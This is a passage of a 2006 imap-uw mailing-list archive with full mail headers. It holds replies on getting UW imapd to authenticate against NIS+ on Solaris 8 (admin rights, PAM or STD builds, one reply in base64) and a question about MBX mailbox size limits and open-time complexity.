k0QKgajU005392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Jan 2006 12:42:37 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKgVLY016756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 26 Jan 2006 12:42:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKgVgJ022495; Thu, 26 Jan 2006 12:42:31 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKgUXm022487 for ; Thu, 26 Jan 2006 12:42:30 -0800 Received: from mx3.liv.ac.uk (mx3.liv.ac.uk [138.253.100.181]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKgT3T026606 for ; Thu, 26 Jan 2006 12:42:30 -0800 Received: from mailhub1.liv.ac.uk ([138.253.100.94]) by mx3.liv.ac.uk with esmtp (Exim 4.52) id 1F2Dwr-0004Wp-7L for imap-uw@u.washington.edu; Thu, 26 Jan 2006 20:42:29 +0000 Received: from localhost ([127.0.0.1] helo=mailhub1.liv.ac.uk) by mailhub1.liv.ac.uk with esmtp (Exim 4.52) id 1F2Dwr-0008Lm-4T; Thu, 26 Jan 2006 20:42:29 +0000 Received: from netserve2.liv.ac.uk ([138.253.100.139]) by mailhub1.liv.ac.uk with esmtp (Exim 4.52) id 1F2Dwr-0008Lj-0d; Thu, 26 Jan 2006 20:42:29 +0000 Received: (from qq11@localhost) by netserve2.liv.ac.uk (8.11.7p1+Sun/8.10.2/ajt05Jan2002) id k0QKgP709449; Thu, 26 Jan 2006 20:42:26 GMT Date: Thu, 26 Jan 2006 20:42:25 +0000 (GMT) From: Alan Thew X-X-Sender: qq11@netserve2.liv.ac.uk To: "Segura, John A." Subject: Re: [Imap-uw] imap and nisplus? In-Reply-To: <97E02A05E253E74B826FDEFF342AED8E010A81C7@txsa01-mail01.ad.gd-ais.com> Message-ID: References: <97E02A05E253E74B826FDEFF342AED8E010A81C7@txsa01-mail01.ad.gd-ais.com> MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 26 Jan 2006 14:29 , Segura, John A. said: >Hello all, > >I'm using thunderbird to login to my sendmail server which is running >imapd/popd all of which are Solaris 8 boxes with nis+. However, I can >authenticate with the mail server, it comes back with bad login. Is >there a sendmail/imapd setting somewhere that needs to be changed so it >can use nis+ to authenticate? My mail server is a client in the nis+ >domain. I can telnet/ssh using my account and current password just >fine, I just can't retrieve mail. Thanks, IIRC, when using UW and nis+ your "mail" machine needs NIS+ "admin rights" so that a root process can compare a passord. Alan Thew > > > >JS > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jan 27 04:19:58 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jan 2006 04:19:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RCJwlm006786 for ; Fri, 27 Jan 2006 04:19:58 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RCJvIL007287 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 27 Jan 2006 04:19:58 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RCJraf012487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 27 Jan 2006 04:19:54 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RCJrBn031038; Fri, 27 Jan 2006 04:19:53 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RCJqgv031030 for ; Fri, 27 Jan 2006 04:19:52 -0800 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RCJpoh016317 for ; Fri, 27 Jan 2006 04:19:51 -0800 Received: from [127.0.0.1] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id k0RC5FIT014352; Fri, 27 Jan 2006 07:05:15 -0500 (EST) Message-ID: <43DA1053.9050208@eng.wayne.edu> Date: Fri, 27 Jan 2006 07:21:39 -0500 From: Brian Thompson User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Segura, John A." Subject: Re: [Imap-uw] imap and nisplus? References: <97E02A05E253E74B826FDEFF342AED8E010A81C7@txsa01-mail01.ad.gd-ais.com> In-Reply-To: <97E02A05E253E74B826FDEFF342AED8E010A81C7@txsa01-mail01.ad.gd-ais.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu You need to make sure you're using a version of uw-imapd that was compiled with PAM support. If I remember correctly, the version that Sun supplies on the Solaris Software Companion CD isn't PAM enabled. -Brian Segura, John A. wrote: > Hello all, > > I’m using thunderbird to login to my sendmail server which is running > imapd/popd all of which are Solaris 8 boxes with nis+. However, I can > authenticate with the mail server, it comes back with bad login. Is > there a sendmail/imapd setting somewhere that needs to be changed so > it can use nis+ to authenticate? My mail server is a client in the > nis+ domain. I can telnet/ssh using my account and current password > just fine, I just can’t retrieve mail. Thanks, > > JS > >------------------------------------------------------------------------ > >_______________________________________________ >Imap-uw mailing list >Imap-uw@u.washington.edu >https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jan 27 08:54:29 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jan 2006 08:54:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RGsTYr027887 for ; Fri, 27 Jan 2006 08:54:29 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RGsSet022398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 27 Jan 2006 08:54:28 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RGsOS8028099 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 27 Jan 2006 08:54:24 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RGsOnc021200; Fri, 27 Jan 2006 08:54:24 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RGsN4G021189 for ; Fri, 27 Jan 2006 08:54:23 -0800 Received: from aismail.wustl.edu (aismail.wustl.edu [128.252.95.36]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0RGqqJd025386 for ; Fri, 27 Jan 2006 08:54:22 -0800 In-Reply-To: <43DA1053.9050208@eng.wayne.edu> To: Brian Thompson Subject: Re: [Imap-uw] imap and nisplus? MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5.4 March 27, 2005 Message-ID: From: Ken.Koch@wustl.edu Date: Fri, 27 Jan 2006 10:23:14 -0600 X-MIMETrack: Serialize by Router on AIS3/Systems/ais(Release 6.5.4|March 27, 2005) at 01/27/2006 10:54:22 AM, Serialize complete at 01/27/2006 10:54:22 AM X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __C230066_P5 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_HTML 0, __MIME_VERSION 0, __RATWARE_SIGNATURE_3_N1 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw-bounces@mailman1.u.washington.edu, imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1790459771==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multipart message in MIME format. --===============1790459771== Content-Type: multipart/alternative; boundary="=_alternative 0059F0CD86257103_=" This is a multipart message in MIME format. --=_alternative 0059F0CD86257103_= Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: base64 QWN0dWFsbHksIEkgY29tcGlsZSBteSB1dy1pbWFwIHdpdGggU1REIHN1cHBvcnQgaW5zdGVhZCBv ZiBQQU0uICBJIGRpZCBhIA0KbG90IG9mIHN0YWNrIHRyYWNpbmcgYW5kIGZvdW5kIHRoZXJlIHRv IGJlIGxlc3MgY29kZSBzZW50IHRocm91Z2ggdGhlIENQVSANCmFuZCBmYXN0ZXIgZXhlY3V0aW9u IHdpdGggdGhlIFNURCBhdXRoZW50aWNhdGlvbiByYXRoZXIgdGhhbiB0aGUgUEFNL1BNQiANCmFu ZCBtb3JlIGxvYWRhYmxlcy4gIE5vdCBtdWNoIG1pbmQgeW91LCBidXQgd2hlbiB5b3UncmUgcnVu bmluZyAxMCBpbWFwJ3MgDQphIHNlY29uZCwgZXZlcnkgbGl0dGxlIGJpdCBoZWxwcz8gDQoNClNv bGFyaXMgOCAwOC8wMg0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KS2VuIEtvY2gN CkluZm9ybWF0aW9uIFN5c3RlbXMNCjMxNC45MzUuODMxNQ0KPT09PT09PT09PT09PT09PT09PT09 PT09PT09PT0NCg0KDQoNCkJyaWFuIFRob21wc29uIDxicmlhbkBlbmcud2F5bmUuZWR1PiANClNl bnQgYnk6IGltYXAtdXctYm91bmNlc0BtYWlsbWFuMS51Lndhc2hpbmd0b24uZWR1DQowMS8yNy8y MDA2IDA2OjIxIEFNDQoNClRvDQoiU2VndXJhLCBKb2huIEEuIiA8Sm9obi5TZWd1cmFAZ2QtYWlz LmNvbT4NCmNjDQppbWFwLXV3QHUud2FzaGluZ3Rvbi5lZHUNClN1YmplY3QNClJlOiBbSW1hcC11 d10gaW1hcCBhbmQgbmlzcGx1cz8NCg0KDQoNCg0KDQoNCg0KWW91IG5lZWQgdG8gbWFrZSBzdXJl IHlvdSdyZSB1c2luZyBhIHZlcnNpb24gb2YgdXctaW1hcGQgdGhhdA0Kd2FzIGNvbXBpbGVkIHdp dGggUEFNIHN1cHBvcnQuIElmIEkgcmVtZW1iZXIgY29ycmVjdGx5LCB0aGUNCnZlcnNpb24gdGhh dCBTdW4gc3VwcGxpZXMgb24gdGhlIFNvbGFyaXMgU29mdHdhcmUgQ29tcGFuaW9uIENEDQppc24n dCBQQU0gZW5hYmxlZC4NCg0KLUJyaWFuDQoNClNlZ3VyYSwgSm9obiBBLiB3cm90ZToNCg0KPiBI ZWxsbyBhbGwsDQo+DQo+IEnigJltIHVzaW5nIHRodW5kZXJiaXJkIHRvIGxvZ2luIHRvIG15IHNl bmRtYWlsIHNlcnZlciB3aGljaCBpcyBydW5uaW5nIA0KPiBpbWFwZC9wb3BkIGFsbCBvZiB3aGlj aCBhcmUgU29sYXJpcyA4IGJveGVzIHdpdGggbmlzKy4gSG93ZXZlciwgSSBjYW4gDQo+IGF1dGhl bnRpY2F0ZSB3aXRoIHRoZSBtYWlsIHNlcnZlciwgaXQgY29tZXMgYmFjayB3aXRoIGJhZCBsb2dp bi4gSXMgDQo+IHRoZXJlIGEgc2VuZG1haWwvaW1hcGQgc2V0dGluZyBzb21ld2hlcmUgdGhhdCBu ZWVkcyB0byBiZSBjaGFuZ2VkIHNvIA0KPiBpdCBjYW4gdXNlIG5pcysgdG8gYXV0aGVudGljYXRl PyBNeSBtYWlsIHNlcnZlciBpcyBhIGNsaWVudCBpbiB0aGUgDQo+IG5pcysgZG9tYWluLiBJIGNh biB0ZWxuZXQvc3NoIHVzaW5nIG15IGFjY291bnQgYW5kIGN1cnJlbnQgcGFzc3dvcmQgDQo+IGp1 c3QgZmluZSwgSSBqdXN0IGNhbuKAmXQgcmV0cmlldmUgbWFpbC4gVGhhbmtzLA0KPg0KPiBKUw0K Pg0KPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQ0KPg0KPl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fDQo+SW1hcC11dyBtYWlsaW5nIGxpc3QNCj5JbWFwLXV3QHUud2FzaGlu Z3Rvbi5lZHUNCj5odHRwczovL21haWxtYW4xLnUud2FzaGluZ3Rvbi5lZHUvbWFpbG1hbi9saXN0 aW5mby9pbWFwLXV3DQo+IA0KPg0KDQpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fXw0KSW1hcC11dyBtYWlsaW5nIGxpc3QNCkltYXAtdXdAdS53YXNoaW5ndG9u LmVkdQ0KaHR0cHM6Ly9tYWlsbWFuMS51Lndhc2hpbmd0b24uZWR1L21haWxtYW4vbGlzdGluZm8v aW1hcC11dw0KDQoNCg== --=_alternative 0059F0CD86257103_= Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: base64 DQo8YnI+PGZvbnQgc2l6ZT0yIGZhY2U9InNhbnMtc2VyaWYiPkFjdHVhbGx5LCBJIGNvbXBpbGUg bXkgdXctaW1hcCB3aXRoDQpTVEQgc3VwcG9ydCBpbnN0ZWFkIG9mIFBBTS4gJm5ic3A7SSBkaWQg YSBsb3Qgb2Ygc3RhY2sgdHJhY2luZyBhbmQgZm91bmQNCnRoZXJlIHRvIGJlIGxlc3MgY29kZSBz ZW50IHRocm91Z2ggdGhlIENQVSBhbmQgZmFzdGVyIGV4ZWN1dGlvbiB3aXRoIHRoZQ0KU1REIGF1 dGhlbnRpY2F0aW9uIHJhdGhlciB0aGFuIHRoZSBQQU0vUE1CIGFuZCBtb3JlIGxvYWRhYmxlcy4g Jm5ic3A7Tm90DQptdWNoIG1pbmQgeW91LCBidXQgd2hlbiB5b3UncmUgcnVubmluZyAxMCBpbWFw J3MgYSBzZWNvbmQsIGV2ZXJ5IGxpdHRsZQ0KYml0IGhlbHBzPyAmbmJzcDs8L2ZvbnQ+DQo8YnI+ DQo8YnI+PGZvbnQgc2l6ZT0yIGZhY2U9InNhbnMtc2VyaWYiPlNvbGFyaXMgOCAwOC8wMjwvZm9u dD4NCjxicj48Zm9udCBzaXplPTIgZmFjZT0ic2Fucy1zZXJpZiI+PGJyPg0KPT09PT09PT09PT09 PT09PT09PT09PT09PT09PT08YnI+DQpLZW4gS29jaDxicj4NCkluZm9ybWF0aW9uIFN5c3RlbXM8 YnI+DQozMTQuOTM1LjgzMTU8YnI+DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PTwvZm9u dD4NCjxicj4NCjxicj4NCjxicj4NCjx0YWJsZSB3aWR0aD0xMDAlPg0KPHRyIHZhbGlnbj10b3A+ DQo8dGQgd2lkdGg9NDAlPjxmb250IHNpemU9MSBmYWNlPSJzYW5zLXNlcmlmIj48Yj5CcmlhbiBU aG9tcHNvbiAmbHQ7YnJpYW5AZW5nLndheW5lLmVkdSZndDs8L2I+DQo8L2ZvbnQ+DQo8YnI+PGZv bnQgc2l6ZT0xIGZhY2U9InNhbnMtc2VyaWYiPlNlbnQgYnk6IGltYXAtdXctYm91bmNlc0BtYWls bWFuMS51Lndhc2hpbmd0b24uZWR1PC9mb250Pg0KPHA+PGZvbnQgc2l6ZT0xIGZhY2U9InNhbnMt c2VyaWYiPjAxLzI3LzIwMDYgMDY6MjEgQU08L2ZvbnQ+DQo8dGQgd2lkdGg9NTklPg0KPHRhYmxl IHdpZHRoPTEwMCU+DQo8dHIgdmFsaWduPXRvcD4NCjx0ZD4NCjxkaXYgYWxpZ249cmlnaHQ+PGZv bnQgc2l6ZT0xIGZhY2U9InNhbnMtc2VyaWYiPlRvPC9mb250PjwvZGl2Pg0KPHRkPjxmb250IHNp emU9MSBmYWNlPSJzYW5zLXNlcmlmIj4mcXVvdDtTZWd1cmEsIEpvaG4gQS4mcXVvdDsgJmx0O0pv aG4uU2VndXJhQGdkLWFpcy5jb20mZ3Q7PC9mb250Pg0KPHRyIHZhbGlnbj10b3A+DQo8dGQ+DQo8 ZGl2IGFsaWduPXJpZ2h0Pjxmb250IHNpemU9MSBmYWNlPSJzYW5zLXNlcmlmIj5jYzwvZm9udD48 L2Rpdj4NCjx0ZD48Zm9udCBzaXplPTEgZmFjZT0ic2Fucy1zZXJpZiI+aW1hcC11d0B1Lndhc2hp bmd0b24uZWR1PC9mb250Pg0KPHRyIHZhbGlnbj10b3A+DQo8dGQ+DQo8ZGl2IGFsaWduPXJpZ2h0 Pjxmb250IHNpemU9MSBmYWNlPSJzYW5zLXNlcmlmIj5TdWJqZWN0PC9mb250PjwvZGl2Pg0KPHRk Pjxmb250IHNpemU9MSBmYWNlPSJzYW5zLXNlcmlmIj5SZTogW0ltYXAtdXddIGltYXAgYW5kIG5p c3BsdXM/PC9mb250PjwvdGFibGU+DQo8YnI+DQo8dGFibGU+DQo8dHIgdmFsaWduPXRvcD4NCjx0 ZD4NCjx0ZD48L3RhYmxlPg0KPGJyPjwvdGFibGU+DQo8YnI+DQo8YnI+DQo8YnI+PGZvbnQgc2l6 ZT0yPjx0dD48YnI+DQpZb3UgbmVlZCB0byBtYWtlIHN1cmUgeW91J3JlIHVzaW5nIGEgdmVyc2lv biBvZiB1dy1pbWFwZCB0aGF0PGJyPg0Kd2FzIGNvbXBpbGVkIHdpdGggUEFNIHN1cHBvcnQuIElm IEkgcmVtZW1iZXIgY29ycmVjdGx5LCB0aGU8YnI+DQp2ZXJzaW9uIHRoYXQgU3VuIHN1cHBsaWVz IG9uIHRoZSBTb2xhcmlzIFNvZnR3YXJlIENvbXBhbmlvbiBDRDxicj4NCmlzbid0IFBBTSBlbmFi bGVkLjxicj4NCjxicj4NCi1Ccmlhbjxicj4NCjxicj4NClNlZ3VyYSwgSm9obiBBLiB3cm90ZTo8 YnI+DQo8YnI+DQomZ3Q7IEhlbGxvIGFsbCw8YnI+DQomZ3Q7PGJyPg0KJmd0OyBJ4oCZbSB1c2lu ZyB0aHVuZGVyYmlyZCB0byBsb2dpbiB0byBteSBzZW5kbWFpbCBzZXJ2ZXIgd2hpY2ggaXMgcnVu bmluZw0KPGJyPg0KJmd0OyBpbWFwZC9wb3BkIGFsbCBvZiB3aGljaCBhcmUgU29sYXJpcyA4IGJv eGVzIHdpdGggbmlzKy4gSG93ZXZlciwgSQ0KY2FuIDxicj4NCiZndDsgYXV0aGVudGljYXRlIHdp dGggdGhlIG1haWwgc2VydmVyLCBpdCBjb21lcyBiYWNrIHdpdGggYmFkIGxvZ2luLiBJcw0KPGJy Pg0KJmd0OyB0aGVyZSBhIHNlbmRtYWlsL2ltYXBkIHNldHRpbmcgc29tZXdoZXJlIHRoYXQgbmVl ZHMgdG8gYmUgY2hhbmdlZA0Kc28gPGJyPg0KJmd0OyBpdCBjYW4gdXNlIG5pcysgdG8gYXV0aGVu dGljYXRlPyBNeSBtYWlsIHNlcnZlciBpcyBhIGNsaWVudCBpbiB0aGUNCjxicj4NCiZndDsgbmlz KyBkb21haW4uIEkgY2FuIHRlbG5ldC9zc2ggdXNpbmcgbXkgYWNjb3VudCBhbmQgY3VycmVudCBw YXNzd29yZA0KPGJyPg0KJmd0OyBqdXN0IGZpbmUsIEkganVzdCBjYW7igJl0IHJldHJpZXZlIG1h aWwuIFRoYW5rcyw8YnI+DQomZ3Q7PGJyPg0KJmd0OyBKUzxicj4NCiZndDs8YnI+DQomZ3Q7LS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tPGJyPg0KJmd0Ozxicj4NCiZndDtfX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fXzxicj4NCiZndDtJbWFwLXV3IG1haWxpbmcgbGlzdDxicj4N CiZndDtJbWFwLXV3QHUud2FzaGluZ3Rvbi5lZHU8YnI+DQomZ3Q7aHR0cHM6Ly9tYWlsbWFuMS51 Lndhc2hpbmd0b24uZWR1L21haWxtYW4vbGlzdGluZm8vaW1hcC11dzxicj4NCiZndDsgJm5ic3A7 PGJyPg0KJmd0Ozxicj4NCjxicj4NCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fPGJyPg0KSW1hcC11dyBtYWlsaW5nIGxpc3Q8YnI+DQpJbWFwLXV3QHUud2Fz aGluZ3Rvbi5lZHU8YnI+DQpodHRwczovL21haWxtYW4xLnUud2FzaGluZ3Rvbi5lZHUvbWFpbG1h bi9saXN0aW5mby9pbWFwLXV3PGJyPg0KPC90dD48L2ZvbnQ+DQo8YnI+DQo= --=_alternative 0059F0CD86257103_=-- --===============1790459771== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1790459771==-- From pinedev@shivax2.cac.washington.edu Fri Feb 3 17:46:59 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Feb 2006 17:46:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141kxpR017544 for ; Fri, 3 Feb 2006 17:46:59 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141kwA5032044 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 17:46:58 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141kpWE008360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Feb 2006 17:46:52 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141kpTH000651; Fri, 3 Feb 2006 17:46:51 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141knVc000643 for ; Fri, 3 Feb 2006 17:46:49 -0800 Received: from cruppie.aaronwl.com (cdm-68-228-0-128.laft.cox-internet.com [68.228.0.128]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141kmX0009143 for ; Fri, 3 Feb 2006 17:46:49 -0800 Received: from [127.0.0.1] (cdm-70-182-4-107.laft.cox-internet.com [70.182.4.107]) by cruppie.aaronwl.com (8.12.11/8.12.11) with ESMTP id k141klxj010064 for ; Fri, 3 Feb 2006 19:46:48 -0600 Message-ID: <43E40785.30707@aaronwl.com> Date: Fri, 03 Feb 2006 19:46:45 -0600 From: "Aaron W. LaFramboise" User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Large mailboxes: limits, algorithmical complexity? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello :) 1) My gcc-patches mailbox, MBX, recently passed 50k messages. I'm a little curious whats going to happen at 65k. What is the maximum amount of message allowed? Is there a maximum total disk size? (So far, the mailbox only takes about 300MB or about 7KB per message.) 2) What is the algorithmical complexity of selecting and synchronizing a MBX mailbox? On my machine, it appears to be roughly proportional to the time it takes to 'cat' the mailbox, so I'd suspect its linear. The above mailbox takes about five seconds to open on an unloaded machine with a clear disk cache (or about half a second if its in cache). 2.5) Is there any possibility of a c-client compatible mailbox format for which selecting, synchronizing, and other common operations are constant-time? Presently my mail usually takes about half a minute to open (There are many folders.), and if I could get that down to less than a second, I'd be tickled silly. Thanks in advance for any insight and advice! _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Feb 3 17:47:19 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Feb 2006 17:47:19 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141lJYB017576 for ; Fri, 3 Feb 2006 17:47:19 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141lH7B032077 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Feb 2006 17:47:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141lDS2020673 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Feb 2006 17:47:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141lDd1000764; Fri, 3 Feb 2006 17:47:13 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141lB1Y000753 for ; Fri, 3 Feb 2006 17:47:11 -0800 Received: from mailgate1.uni-kl.de (mailgate1.uni-kl.de [131.246.120.5]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k141l9rP009350 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 3 Feb 2006 17:47:11 -0800 Received: from sushi.unix-ag.uni-kl.de (saumagen.unix-ag.uni-kl.de 